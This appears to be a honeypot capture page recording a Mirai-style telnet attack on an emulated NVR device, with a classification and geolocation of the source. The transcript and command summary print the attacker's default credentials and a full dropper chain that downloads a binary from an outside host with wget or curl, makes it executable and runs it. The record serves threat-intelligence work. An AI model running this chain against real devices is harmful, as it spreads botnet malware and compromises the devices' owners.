HoneyMire Hub

Attack #837584 telnet

Captured 2026-09-27 21:40:52Z by Ka on honeypot LU1 C3 🟡 C3 SuperMini · firmware 1.1.0.

Session recording

Transcript

Server output and attacker input as captured, line-grain. Malware URLs are obscured until sign-in.

Welcome to HiLinux (NVR Box)

hilinux-nvrbox login: mother

Password: fucker

BusyBox v1.20.2 (2015-04-01 10:23:44 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

hilinux-nvrbox# start
sh: start: not found
hilinux-nvrbox# enable
sh: enable: not found
hilinux-nvrbox# config terminal
sh: config: not found
hilinux-nvrbox# system
sh: system: not found
hilinux-nvrbox# linuxshell
sh: linuxshell: not found
hilinux-nvrbox# su
sh: su: not found
hilinux-nvrbox# shell
sh: shell: not found
hilinux-nvrbox# sh
hilinux-nvrbox# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x4e\x43\x47\x51\x43\x4a'
sh: can't create /usr/.x: nonexistent directory
NCGQCJ
hilinux-nvrbox# /bin/busybox wget;/bin/busybox echo -ne '\x4e\x43\x47\x51\x43\x4a'
BusyBox v1.20.2 (2015-04-01 10:23:44 CST) multi-call binary.

Usage: wget [-cq] [-O FILE] [--header 'HEADER: VALUE'] URL
NCGQCJhilinux-nvrbox# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget hxxp://192[.]168[.]1[.]1:8088/i ||curl -O hxxp://192[.]168[.]1[.]1:8088/i ||/bin/busybox wget hxxp://192[.]168[.]1[.]1:8088/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x5a\x54\x46\x42\x4c\x50\x52\x46'
sh: can't create /usr/.x: nonexistent directory
Connecting to 192.168.1.1:8088 (192.168.1.1:8088)
saving to 'i'
i                   100% |*******************************| 1234k  0:00:01 ETA
'i' saved
sh: ./i: not found
ZTFBLPRF
hilinux-nvrbox# 

Credentials

Username: mother

Password: fucker

1 login attempt(s) before disconnect.

Geolocation hub-resolved

🇨🇳China · Shandong · Jinan

CNC Group CHINA169 Shandong Province Network · AS4837 CHINA UNICOM China169 Backbone · 36.65,117.12

Network: isp · China Unicom · NSP · peeringdb · medium confidence

Behavioral classification

🦠 95% confidence

Mirai-family IoT botnet — wget + chmod + exec; tries common router/IP-cam credentials.

Matched signals:

• wget/curl download
• chmod/exec chain
• BusyBox probing

Command summary

start
enable
config terminal
system
linuxshell
su
shell
sh
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x4e\x43\x47\x51\x43\x4a'
/bin/busybox wget;/bin/busybox echo -ne '\x4e\x43\x47\x51\x43\x4a'
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://192.168.1.1:8088/i ||curl -O http://192.168.1.1:8088/i ||/bin/busybox wget http://192.168.1.1:8088/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x5a\x54\x46\x42\x4c\x50\x52\x46'

Reported to threat intel

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